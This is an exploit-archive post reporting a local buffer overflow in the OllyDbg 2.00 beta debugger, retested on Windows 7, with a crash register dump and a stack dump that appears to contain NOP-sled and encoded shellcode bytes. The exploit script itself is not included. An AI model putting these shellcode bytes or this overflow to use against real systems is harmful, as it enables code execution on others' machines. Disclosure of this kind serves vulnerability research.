Ollydbg 2.00 Beta Local Overflow Exploit

========================================
Ollydbg 2.00 Beta Local Overflow Exploit
========================================

## Exploit: Ollydbg 2.00 Beta Local Overflow Exploit

## Author : r45c4l

## Taken from thr original advisory published by "_SuBz3r0_ "  (http://inj3ct0r.com/exploits/10918)

## Date : 21/02/2010

## The original advisor was tested on Windows XP SP3 (Patched), So I just thought to see if this will work on Windows 7

   so I tested it on Windows 7 Ultimate Edition and it worked perfectlly well. 
   
## Before anything else, lets see the problem which caused the crash ::: 

	OllyDbg version:    2.00.0 beta 1
	Exception code:     C0000005
	Parameters:         00000000 7C874413
	Exception address:  7C874413

	EAX=0000028B  EBX=002D278E  ECX=01670000  EDX=00000000
	ESP=0012DF7C  EBP=90909090  ESI=0012FA44  EDI=004FF3B4
	EIP=7C874413  EFL=00210246
	
	If we look carefully, we will see that its getting terminating due to exception C0000005 at address 7C874413.
	 
	
Stack dump:

0012DF7C  2DF831B4 3504E384 46143CB8 FC674834 ?1?-„?.5?<.F4Hg?
0012DF8C  E983C931 FFFFE8E2 5EC0FFFF 030E7681 1?????....?^?v..
0012DF9C  8337D8F9 F4E2FCEE 379C11FF 7253F903 ??7?????..?7.?Sr
0012DFAC  32A4723F BC37F87B 6853E14C 7E33F823 ?r¤2{?7?L?Sh#?3~
0012DFBC  3653CD88 AE18C8ED 43187DAF 3A123804 ??S6??.®?}.C.8.:
0012DFCC  C3333B02 33FCAD38 68531C76 5133F827 .;3?8­?3v.Sh'?3Q
0012DFDC  BC93F588 DCD9E55C 3653E588 138470E8 ??“?\?????S6?p„.
0012DFEC  06873A07 538E99F5 BCE8BF88 4753F543 .:‡.?™?S????C?SG
0012DFFC  5F53541F B420700B 5F8893C3 68DC73F3 .TS_.p ??“?_?s?h
0012E00C  BD26616B D027AE0D 54B49860 37D8F903 ka&?.®'?`??T.??7
0012E01C  00000027 00000000 00000002 00100000 '...............
0012E02C  00002000 00100000 00001000 00000000 . ..............
0012E03C  00000010 00150000 0000006B 0014E000 ........k....?..
0012E04C  00001E64 00151000 0005DC00 00000000 d........?......
0012E05C  00000000 00000000 00000000 001AF000 .............?..
0012E06C  0000DCBC 00000000 00000000 00000000 ??..............
0012E07C  00000000 00000000 00000000 0014D000 .............?..
0012E08C  00000018 00000000 00000000 00000000 ................
0012E09C  00000000 00000000 00000000 00000000 ................
0012E0AC  00000000 00000000 00000000 00000000 ................
0012E0BC  00000000 0008014C 495156B7 00000000 ....L...·VQI....
0012E0CC  00000000 010E00E0 00505A4D 00000002 ....?...MZP.....
0012E0DC  000F0004 0000FFFF 000000B8 00000000 ........?.......
0012E0EC  001A0040 00000000 00000000 00000000 @...............
0012E0FC  00000000 00000000 00000000 00000000 ................
0012E10C  00000000 00000200 00409048 001A09D8 [email protected]?...
0012E11C  00040988 00000006 00000001 00040984 ?...........„...
0012E12C  0012EB00 00000006 00000000 00000000 .?..............
0012E13C  FFFFFFFF 00010000 00000000 00000000 ................
0012E14C  0012E100 00010000 6E74616C 746C6664 .?......latndflt
0012E15C  00000000 000C0800 01C5000C 01C54814 ..........?..H?.
0012E16C  00070008 00000007 01C547F8 00070002 ........?G?.....

I dont think so that there is any need to change in the code given in 
the original advisor by _SuBz3r0_ .The credit goes to author only (_SuBz3r0_),
I just tested it on the Windows 7 plateform. 

## Status : Product firm has been told about this while writing this at there address :

	 [email protected]



#  0day.today [2018-03-14]  #